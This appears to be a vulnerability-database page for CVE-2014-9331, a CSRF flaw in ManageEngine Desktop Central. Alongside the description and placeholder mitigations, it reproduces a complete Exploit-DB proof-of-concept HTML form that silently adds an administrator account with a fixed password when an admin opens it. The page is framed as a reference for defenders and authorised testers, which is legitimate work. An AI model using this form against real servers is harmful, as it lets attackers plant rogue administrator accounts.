CVE-2014-9331

medium

Published 2015-02-04 · Modified 2026-05-06

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

7.8

Description

Cross-site request forgery (CSRF) vulnerability in ZOHO ManageEngine Desktop Central before 9 build 90130 allows remote attackers to hijack the authentication of administrators for requests that add an administrator account via an addUser action to STATE_ID/1417736606982/roleMgmt.do.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-35980 webapps multiple text · 3 KB

Mohamed Idris · 2015-02-03

ManageEngine Desktop Central 9 Build 90087 - Cross-Site Request Forgery

text exploit Source: Exploit-DB

<html>
<!--
# Exploit Title: ManageEngine Desktop Central 9 Add and admin user through Cross-Site Request Forgery (CSRF)
# Date: 05 December 2014
# Exploit Author: Mohamed Idris – Help AG Middle East
# Vendor Homepage: http://www.manageengine.com/
# Software Link: http://www.manageengine.com/products/desktop-central/
# Version: All versions below build 90121
# Tested on: Version 9 Build 90087
# CVEID: CVE-2014-9331
# Vulnerability Fix: http://www.manageengine.com/products/desktop-central/cve20149331-cross-site-request-forgery.html

POC Code:
When an authenticated application admin clicks a link to the below code, you well get a user “Hacker” with the password “HackerPass” added to the application (convincing the admin to click on a link is so easy ;)).
Remember to change the IP to the target server IP address in the code.
-->
  <!-- CSRF PoC - Add an admin account -->
  <body>
    <form action="http://<Server-IP>:8020/STATE_ID/1417736606982/roleMgmt.do?actionToCall=addUser&SUBREQUEST=XMLHTTP" method="POST">
      <input type="hidden" name="AuthenticationType" value="DC" />
      <input type="hidden" name="newDCAuthUserName" value="Hacker" />
      <input type="hidden" name="newDCAuthUserPassword" value="HackerPass" />
      <input type="hidden" name="DCAuthconfirmPassword" value="HackerPass" />
      <input type="hidden" name="newDCAuthUserEmail" value="" />
      <input type="hidden" name="newDCAuthUserPNumber" value="" />
      <input type="hidden" name="newADAuthUserEmail" value="" />
      <input type="hidden" name="newADAuthUserPNumber" value="" />
      <input type="hidden" name="MapType" value="ALL" />
      <input type="hidden" name="aduserSearch" value="" />
      <input type="hidden" name="searchValue" value="Search" />
      <input type="hidden" name="aduserSearchRO" value="" />
      <input type="hidden" name="searchValue" value="Search" />
      <input type="hidden" name="action1" value="DC_ADD_USER" />
      <input type="hidden" name="addUser" value="Add User" />
      <input type="hidden" name="cancle" value="Cancel" />
      <input type="hidden" name="customerids" value="" />
      <input type="hidden" name="roleListDCAuth" value="1" />
      <input type="hidden" name="PERSONALISE_LANGUAGE" value="en_US" />
      <input type="hidden" name="domainListADAuth" value="-1" />
      <input type="hidden" name="roleListADAuth" value="-1" />
      <input type="hidden" name="PERSONALISE_LANGUAGE" value="en_US" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Application impact

Vendor	Product	Versions	Fixed
zohocorp	manageengine_desktop_central	`{"endIncluding":"9.0"}`

References

CWEs

CWE-352

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.